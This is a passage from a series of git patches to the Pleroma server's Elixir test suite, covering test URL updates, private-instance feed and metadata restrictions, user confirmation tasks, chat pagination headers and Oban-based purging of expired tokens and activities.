5) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" assert modified_object["context"] == - "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" + "tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4" end end @@ -1216,7 +1216,9 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do @tag capture_log: true test "returns {:ok, %Object{}} for success case" do assert {:ok, %Object{}} = - Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873") + Transmogrifier.get_obj_helper( + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) end end diff --git a/test/web/mastodon_api/controllers/search_controller_test.exs b/test/web/mastodon_api/controllers/search_controller_test.exs index 24d1959f8..04dc6f445 100644 --- a/test/web/mastodon_api/controllers/search_controller_test.exs +++ b/test/web/mastodon_api/controllers/search_controller_test.exs @@ -282,18 +282,18 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do capture_log(fn -> {:ok, %{id: activity_id}} = CommonAPI.post(insert(:user), %{ - status: "check out https://shitposter.club/notice/2827873" + status: "check out http://mastodon.example.org/@admin/99541947525187367" }) results = conn - |> get("/api/v1/search?q=https://shitposter.club/notice/2827873") + |> get("/api/v1/search?q=http://mastodon.example.org/@admin/99541947525187367") |> json_response_and_validate_schema(200) - [status, %{"id" => ^activity_id}] = results["statuses"] - - assert status["uri"] == - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + assert [ + %{"url" => "http://mastodon.example.org/@admin/99541947525187367"}, + %{"id" => ^activity_id} + ] = results["statuses"] end) end -- cgit v1.2.3 From 10ef532c63431811b3998ed7b14aea21755a2b57 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 7 Jul 2020 07:06:29 +0200 Subject: AP C2S: Restrict character limit on Note --- test/web/activity_pub/activity_pub_controller_test.exs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) (limited to 'test') diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index 57988dc1e..0517571f2 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -905,6 +905,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do end describe "POST /users/:nickname/outbox (C2S)" do + setup do: clear_config([:instance, :limit]) + setup do [ activity: %{ @@ -1121,6 +1123,20 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do assert cirno_object.data["actor"] == cirno.ap_id assert cirno_object.data["attributedTo"] == cirno.ap_id end + + test "Character limitation", %{conn: conn, activity: activity} do + Pleroma.Config.put([:instance, :limit], 5) + user = insert(:user) + + result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(400) + + assert result == "Note is over the character limit" + end end describe "/relay/followers" do -- cgit v1.2.3 From ff07014b2657730101e826d7e82716989d43214c Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 14:35:22 -0500 Subject: Disable providers of user and status metadata when instance is private --- test/web/metadata/metadata_test.exs | 9 +++++++++ 1 file changed, 9 insertions(+) (limited to 'test') diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 3f8b29e58..4dd0d2f5c 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -22,4 +22,13 @@ defmodule Pleroma.Web.MetadataTest do "" end end + + describe "no metadata for private instances" do + test "for local user" do + Pleroma.Config.put([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio") + + assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) + end + end end -- cgit v1.2.3 From 44ced17634a9c89b9ff4a47c64805356f7f6401c Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 15:54:22 -0500 Subject: Fix test so setting doesn't leak --- test/web/metadata/metadata_test.exs | 2 ++ 1 file changed, 2 insertions(+) (limited to 'test') diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 4dd0d2f5c..f7371cae2 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -24,6 +24,8 @@ defmodule Pleroma.Web.MetadataTest do end describe "no metadata for private instances" do + setup do: clear_config([:instance, :public]) + test "for local user" do Pleroma.Config.put([:instance, :public], false) user = insert(:user, bio: "This is my secret fedi account bio") -- cgit v1.2.3 From a85ed6defbd2cec71d9a5594ef1de18d5333c7c7 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 15:58:21 -0500 Subject: Do not serve RSS/Atom feeds when instance is private --- test/web/feed/tag_controller_test.exs | 13 +++++++++++++ test/web/feed/user_controller_test.exs | 16 ++++++++++++++++ 2 files changed, 29 insertions(+) (limited to 'test') diff --git a/test/web/feed/tag_controller_test.exs b/test/web/feed/tag_controller_test.exs index 3c29cd94f..868e40965 100644 --- a/test/web/feed/tag_controller_test.exs +++ b/test/web/feed/tag_controller_test.exs @@ -181,4 +181,17 @@ defmodule Pleroma.Web.Feed.TagControllerTest do 'yeah #PleromaArt' ] end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for tags feed", %{conn: conn} do + Config.put([:instance, :public], false) + + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> response(404) + end + end end diff --git a/test/web/feed/user_controller_test.exs b/test/web/feed/user_controller_test.exs index 0d2a61967..9a5610baa 100644 --- a/test/web/feed/user_controller_test.exs +++ b/test/web/feed/user_controller_test.exs @@ -246,4 +246,20 @@ defmodule Pleroma.Web.Feed.UserControllerTest do assert response == ~S({"error":"Not found"}) end end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for user feed", %{conn: conn} do + Config.put([:instance, :public], false) + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + + assert conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(404) + end + end end -- cgit v1.2.3 From 0d2814ec8e41942cd5b056d9c1ed902be1e1773c Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 7 Sep 2020 15:06:06 +0300 Subject: Metadata: Move restriction check from Feed provider to activated_providers --- test/web/metadata/metadata_test.exs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) (limited to 'test') diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index f7371cae2..9d3121b7b 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -24,10 +24,8 @@ defmodule Pleroma.Web.MetadataTest do end describe "no metadata for private instances" do - setup do: clear_config([:instance, :public]) - test "for local user" do - Pleroma.Config.put([:instance, :public], false) + clear_config([:instance, :public], false) user = insert(:user, bio: "This is my secret fedi account bio") assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) -- cgit v1.2.3 From 6c79a60649c8d6b3ef9ce0fbbb4792410fe585bd Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 17:59:25 -0500 Subject: Add test for pleroma.user set --confirmed Order now matters because of testing shell_info --- test/tasks/user_test.exs | 33 +++++++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 8 deletions(-) (limited to 'test') diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index ce43a9cc7..ef77fdc9c 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -225,47 +225,64 @@ defmodule Mix.Tasks.Pleroma.UserTest do test "All statuses set" do user = insert(:user) - Mix.Tasks.Pleroma.User.run(["set", user.nickname, "--moderator", "--admin", "--locked"]) + Mix.Tasks.Pleroma.User.run([ + "set", + user.nickname, + "--admin", + "--confirmed", + "--locked", + "--moderator" + ]) assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* true/ + assert message =~ ~r/Admin status .* true/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* false/ assert_received {:mix_shell, :info, [message]} assert message =~ ~r/Locked status .* true/ assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* true/ + assert message =~ ~r/Moderator status .* true/ user = User.get_cached_by_nickname(user.nickname) assert user.is_moderator assert user.locked assert user.is_admin + refute user.confirmation_pending end test "All statuses unset" do - user = insert(:user, locked: true, is_moderator: true, is_admin: true) + user = + insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) Mix.Tasks.Pleroma.User.run([ "set", user.nickname, - "--no-moderator", "--no-admin", - "--no-locked" + "--no-confirmed", + "--no-locked", + "--no-moderator" ]) assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Moderator status .* false/ + assert message =~ ~r/Admin status .* false/ + + assert_received {:mix_shell, :info, [message]} + assert message =~ ~r/Confirmation pending .* true/ assert_received {:mix_shell, :info, [message]} assert message =~ ~r/Locked status .* false/ assert_received {:mix_shell, :info, [message]} - assert message =~ ~r/Admin status .* false/ + assert message =~ ~r/Moderator status .* false/ user = User.get_cached_by_nickname(user.nickname) refute user.is_moderator refute user.locked refute user.is_admin + assert user.confirmation_pending end test "no user to set status" do -- cgit v1.2.3 From b900c06d4e2bc5d607af542e2c9cf9eacade376b Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 9 Sep 2020 09:02:07 -0500 Subject: Add tests for the bulk confirm/unconfirm tasks --- test/tasks/user_test.exs | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) (limited to 'test') diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index ef77fdc9c..b8c423c48 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -571,4 +571,44 @@ defmodule Mix.Tasks.Pleroma.UserTest do assert message =~ "Could not change user tags" end end + + describe "bulk confirm and unconfirm" do + test "confirm all" do + user1 = insert(:user, confirmation_pending: true) + user2 = insert(:user, confirmation_pending: true) + + assert user1.confirmation_pending + assert user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["confirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + + refute user1.confirmation_pending + refute user2.confirmation_pending + end + + test "unconfirm all" do + user1 = insert(:user, confirmation_pending: false) + user2 = insert(:user, confirmation_pending: false) + admin = insert(:user, is_admin: true, confirmation_pending: false) + mod = insert(:user, is_moderator: true, confirmation_pending: false) + + refute user1.confirmation_pending + refute user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["unconfirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + admin = User.get_cached_by_nickname(admin.nickname) + mod = User.get_cached_by_nickname(mod.nickname) + + assert user1.confirmation_pending + assert user2.confirmation_pending + refute admin.confirmation_pending + refute mod.confirmation_pending + end + end end -- cgit v1.2.3 From 68a74d66596f0e35f0e080de25e4679d2c8b1b76 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 9 Sep 2020 19:30:42 +0300 Subject: [#2497] Added missing alias, removed legacy `:adapter` option specification for HTTP.get/_. --- test/web/mastodon_api/views/account_view_test.exs | 1 + 1 file changed, 1 insertion(+) (limited to 'test') diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 5c5aa6cee..793b44fca 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -5,6 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do use Pleroma.DataCase + alias Pleroma.Config alias Pleroma.User alias Pleroma.UserRelationship alias Pleroma.Web.CommonAPI -- cgit v1.2.3 From 9853c90abba213bdc87dccf5620cb0d9eb19c049 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 10 Sep 2020 12:24:44 +0300 Subject: added paginate links to headers for /chats/:id/messages --- .../controllers/chat_controller_test.exs | 50 +++++++++++++++------- 1 file changed, 35 insertions(+), 15 deletions(-) (limited to 'test') diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs index 7be5fe09c..40f7c72ca 100644 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/web/pleroma_api/controllers/chat_controller_test.exs @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do - use Pleroma.Web.ConnCase, async: true + use Pleroma.Web.ConnCase alias Pleroma.Chat alias Pleroma.Chat.MessageReference @@ -184,17 +184,39 @@ defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do chat = Chat.get(user.id, recipient.ap_id) - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) + response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages") + result = json_response_and_validate_schema(response, 200) + + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + api_endpoint = "/api/v1/pleroma/chats/" + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&min_id=.*; rel=\"prev\"$) + ) assert length(result) == 20 - result = - conn - |> get("/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") - |> json_response_and_validate_schema(200) + response = + get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + + result = json_response_and_validate_schema(response, 200) + [next, prev] = get_resp_header(response, "link") |> hd() |> String.split(", ") + + assert String.match?( + next, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*; rel=\"next\"$) + ) + + assert String.match?( + prev, + ~r(#{api_endpoint}.*/messages\?id=.*&limit=\d+&max_id=.*&min_id=.*; rel=\"prev\"$) + ) assert length(result) == 10 end @@ -223,12 +245,10 @@ defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do assert length(result) == 3 # Trying to get the chat of a different user - result = - conn - |> assign(:user, other_user) - |> get("/api/v1/pleroma/chats/#{chat.id}/messages") - - assert result |> json_response(404) + conn + |> assign(:user, other_user) + |> get("/api/v1/pleroma/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(404) end end -- cgit v1.2.3 From 3ce658b93098551792a69f2455e6e9339a1722e2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 25 Aug 2020 19:17:51 +0300 Subject: schedule expired oauth tokens deletion with Oban --- test/plugs/oauth_plug_test.exs | 2 +- test/web/oauth/token_test.exs | 13 ----------- test/web/twitter_api/password_controller_test.exs | 4 ++-- .../workers/cron/clear_oauth_token_worker_test.exs | 22 ------------------ test/workers/purge_expired_oauth_token_test.exs | 27 ++++++++++++++++++++++ 5 files changed, 30 insertions(+), 38 deletions(-) delete mode 100644 test/workers/cron/clear_oauth_token_worker_test.exs create mode 100644 test/workers/purge_expired_oauth_token_test.exs (limited to 'test') diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs index f74c068cd..9d39d3153 100644 --- a/test/plugs/oauth_plug_test.exs +++ b/test/plugs/oauth_plug_test.exs @@ -16,7 +16,7 @@ defmodule Pleroma.Plugs.OAuthPlugTest do setup %{conn: conn} do user = insert(:user) - {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create_token(insert(:oauth_app), user) + {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create(insert(:oauth_app), user) %{user: user, token: token, conn: conn} end diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs index 40d71eb59..c88b9cc98 100644 --- a/test/web/oauth/token_test.exs +++ b/test/web/oauth/token_test.exs @@ -69,17 +69,4 @@ defmodule Pleroma.Web.OAuth.TokenTest do assert tokens == 2 end - - test "deletes expired tokens" do - insert(:oauth_token, valid_until: Timex.shift(Timex.now(), days: -3)) - insert(:oauth_token, valid_until: Timex.shift(Timex.now(), days: -3)) - t3 = insert(:oauth_token) - t4 = insert(:oauth_token, valid_until: Timex.shift(Timex.now(), minutes: 10)) - {tokens, _} = Token.delete_expired_tokens() - assert tokens == 2 - available_tokens = Pleroma.Repo.all(Token) - - token_ids = available_tokens |> Enum.map(& &1.id) - assert token_ids == [t3.id, t4.id] - end end diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs index 231a46c67..a5e9e2178 100644 --- a/test/web/twitter_api/password_controller_test.exs +++ b/test/web/twitter_api/password_controller_test.exs @@ -37,7 +37,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do test "it returns HTTP 200", %{conn: conn} do user = insert(:user) {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) params = %{ "password" => "test", @@ -62,7 +62,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do user = insert(:user, password_reset_pending: true) {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{}) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) params = %{ "password" => "test", diff --git a/test/workers/cron/clear_oauth_token_worker_test.exs b/test/workers/cron/clear_oauth_token_worker_test.exs deleted file mode 100644 index 67836f34f..000000000 --- a/test/workers/cron/clear_oauth_token_worker_test.exs +++ /dev/null @@ -1,22 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.ClearOauthTokenWorkerTest do - use Pleroma.DataCase - - import Pleroma.Factory - alias Pleroma.Workers.Cron.ClearOauthTokenWorker - - setup do: clear_config([:oauth2, :clean_expired_tokens]) - - test "deletes expired tokens" do - insert(:oauth_token, - valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -60 * 10) - ) - - Pleroma.Config.put([:oauth2, :clean_expired_tokens], true) - ClearOauthTokenWorker.perform(%Oban.Job{}) - assert Pleroma.Repo.all(Pleroma.Web.OAuth.Token) == [] - end -end diff --git a/test/workers/purge_expired_oauth_token_test.exs b/test/workers/purge_expired_oauth_token_test.exs new file mode 100644 index 000000000..3bd650d89 --- /dev/null +++ b/test/workers/purge_expired_oauth_token_test.exs @@ -0,0 +1,27 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredOAuthTokenTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup do: clear_config([:oauth2, :clean_expired_tokens], true) + + test "purges expired token" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredOAuthToken, + args: %{token_id: id} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredOAuthToken, %{token_id: id}) + end +end -- cgit v1.2.3 From 7dd986a563545cb63e8404d9b107f1d29c499940 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 5 Sep 2020 18:35:01 +0300 Subject: expire mfa tokens through Oban --- .../twitter_api/remote_follow_controller_test.exs | 4 +- test/workers/purge_expired_oauth_token_test.exs | 27 ------------ test/workers/purge_expired_token_test.exs | 51 ++++++++++++++++++++++ 3 files changed, 53 insertions(+), 29 deletions(-) delete mode 100644 test/workers/purge_expired_oauth_token_test.exs create mode 100644 test/workers/purge_expired_token_test.exs (limited to 'test') diff --git a/test/web/twitter_api/remote_follow_controller_test.exs b/test/web/twitter_api/remote_follow_controller_test.exs index f7e54c26a..3852c7ce9 100644 --- a/test/web/twitter_api/remote_follow_controller_test.exs +++ b/test/web/twitter_api/remote_follow_controller_test.exs @@ -227,7 +227,7 @@ defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do } ) - {:ok, %{token: token}} = MFA.Token.create_token(user) + {:ok, %{token: token}} = MFA.Token.create(user) user2 = insert(:user) otp_token = TOTP.generate_token(otp_secret) @@ -256,7 +256,7 @@ defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do } ) - {:ok, %{token: token}} = MFA.Token.create_token(user) + {:ok, %{token: token}} = MFA.Token.create(user) user2 = insert(:user) otp_token = TOTP.generate_token(TOTP.generate_secret()) diff --git a/test/workers/purge_expired_oauth_token_test.exs b/test/workers/purge_expired_oauth_token_test.exs deleted file mode 100644 index 3bd650d89..000000000 --- a/test/workers/purge_expired_oauth_token_test.exs +++ /dev/null @@ -1,27 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.PurgeExpiredOAuthTokenTest do - use Pleroma.DataCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - setup do: clear_config([:oauth2, :clean_expired_tokens], true) - - test "purges expired token" do - user = insert(:user) - app = insert(:oauth_app) - - {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredOAuthToken, - args: %{token_id: id} - ) - - assert {:ok, %{id: ^id}} = - perform_job(Pleroma.Workers.PurgeExpiredOAuthToken, %{token_id: id}) - end -end diff --git a/test/workers/purge_expired_token_test.exs b/test/workers/purge_expired_token_test.exs new file mode 100644 index 000000000..fb7708c3f --- /dev/null +++ b/test/workers/purge_expired_token_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredTokenTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup do: clear_config([:oauth2, :clean_expired_tokens], true) + + test "purges expired oauth token" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.Web.OAuth.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.Web.OAuth.Token + }) + + assert Repo.aggregate(Pleroma.Web.OAuth.Token, :count, :id) == 0 + end + + test "purges expired mfa token" do + authorization = insert(:oauth_authorization) + + {:ok, %{id: id}} = Pleroma.MFA.Token.create(authorization.user, authorization) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.MFA.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.MFA.Token + }) + + assert Repo.aggregate(Pleroma.MFA.Token, :count, :id) == 0 + end +end -- cgit v1.2.3 From 275602daa7c4a01dffb83759012554da2d9335fe Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 21:28:47 +0300 Subject: Streaming integration tests: remove unexpected error assumption For some reason instead of fixing unexpected errors, we made tests assert they indeed trigger... Now that the errors are fixed these were failing --- test/integration/mastodon_websocket_test.exs | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) (limited to 'test') diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs index ea17e9feb..76fbc8bda 100644 --- a/test/integration/mastodon_websocket_test.exs +++ b/test/integration/mastodon_websocket_test.exs @@ -99,30 +99,30 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do test "accepts the 'user' stream", %{token: token} = _state do assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") - assert capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user") - Process.sleep(30) - end) =~ ":badarg" + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user") + Process.sleep(30) + end) end test "accepts the 'user:notification' stream", %{token: token} = _state do assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") - assert capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user:notification") - Process.sleep(30) - end) =~ ":badarg" + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user:notification") + Process.sleep(30) + end) end test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) - assert capture_log(fn -> - assert {:error, {401, _}} = - start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) + capture_log(fn -> + assert {:error, {401, _}} = + start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) - Process.sleep(30) - end) =~ ":badarg" + Process.sleep(30) + end) end end end -- cgit v1.2.3 From 9bf1065a06837b4c753549d89afe23a636a20972 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 22 Aug 2020 20:46:01 +0300 Subject: schedule activity expiration in Oban --- test/activity_expiration_test.exs | 55 -------------- test/activity_test.exs | 9 --- test/support/factory.ex | 19 ----- test/tasks/database_test.exs | 64 +++++++++-------- test/web/activity_pub/activity_pub_test.exs | 25 ++++--- .../mrf/activity_expiration_policy_test.exs | 8 +-- test/web/common_api/common_api_test.exs | 14 ++-- .../controllers/status_controller_test.exs | 44 +++++------- .../cron/purge_expired_activities_worker_test.exs | 84 ---------------------- test/workers/purge_expired_activity_test.exs | 47 ++++++++++++ 10 files changed, 129 insertions(+), 240 deletions(-) delete mode 100644 test/activity_expiration_test.exs delete mode 100644 test/workers/cron/purge_expired_activities_worker_test.exs create mode 100644 test/workers/purge_expired_activity_test.exs (limited to 'test') diff --git a/test/activity_expiration_test.exs b/test/activity_expiration_test.exs deleted file mode 100644 index f86d79826..000000000 --- a/test/activity_expiration_test.exs +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ActivityExpirationTest do - use Pleroma.DataCase - alias Pleroma.ActivityExpiration - import Pleroma.Factory - - setup do: clear_config([ActivityExpiration, :enabled]) - - test "finds activities due to be deleted only" do - activity = insert(:note_activity) - - expiration_due = - insert(:expiration_in_the_past, %{activity_id: activity.id}) |> Repo.preload(:activity) - - activity2 = insert(:note_activity) - insert(:expiration_in_the_future, %{activity_id: activity2.id}) - - expirations = ActivityExpiration.due_expirations() - - assert length(expirations) == 1 - assert hd(expirations) == expiration_due - end - - test "denies expirations that don't live long enough" do - activity = insert(:note_activity) - now = NaiveDateTime.utc_now() - assert {:error, _} = ActivityExpiration.create(activity, now) - end - - test "deletes an expiration activity" do - Pleroma.Config.put([ActivityExpiration, :enabled], true) - activity = insert(:note_activity) - - naive_datetime = - NaiveDateTime.add( - NaiveDateTime.utc_now(), - -:timer.minutes(2), - :millisecond - ) - - expiration = - insert( - :expiration_in_the_past, - %{activity_id: activity.id, scheduled_at: naive_datetime} - ) - - Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker.perform(%Oban.Job{}) - - refute Pleroma.Repo.get(Pleroma.Activity, activity.id) - refute Pleroma.Repo.get(Pleroma.ActivityExpiration, expiration.id) - end -end diff --git a/test/activity_test.exs b/test/activity_test.exs index 2a92327d1..ee6a99cc3 100644 --- a/test/activity_test.exs +++ b/test/activity_test.exs @@ -185,15 +185,6 @@ defmodule Pleroma.ActivityTest do end end - test "add an activity with an expiration" do - activity = insert(:note_activity) - insert(:expiration_in_the_future, %{activity_id: activity.id}) - - Pleroma.ActivityExpiration - |> where([a], a.activity_id == ^activity.id) - |> Repo.one!() - end - test "all_by_ids_with_object/1" do %{id: id1} = insert(:note_activity) %{id: id2} = insert(:note_activity) diff --git a/test/support/factory.ex b/test/support/factory.ex index 486eda8da..2fdfabbc5 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -200,25 +200,6 @@ defmodule Pleroma.Factory do |> Map.merge(attrs) end - defp expiration_offset_by_minutes(attrs, minutes) do - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(minutes), :millisecond) - |> NaiveDateTime.truncate(:second) - - %Pleroma.ActivityExpiration{} - |> Map.merge(attrs) - |> Map.put(:scheduled_at, scheduled_at) - end - - def expiration_in_the_past_factory(attrs \\ %{}) do - expiration_offset_by_minutes(attrs, -60) - end - - def expiration_in_the_future_factory(attrs \\ %{}) do - expiration_offset_by_minutes(attrs, 61) - end - def article_activity_factory do article = insert(:article) diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs index 3a28aa133..292a5ef5f 100644 --- a/test/tasks/database_test.exs +++ b/test/tasks/database_test.exs @@ -3,14 +3,15 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Mix.Tasks.Pleroma.DatabaseTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + alias Pleroma.Activity alias Pleroma.Object alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.CommonAPI - use Pleroma.DataCase - import Pleroma.Factory setup_all do @@ -130,40 +131,45 @@ defmodule 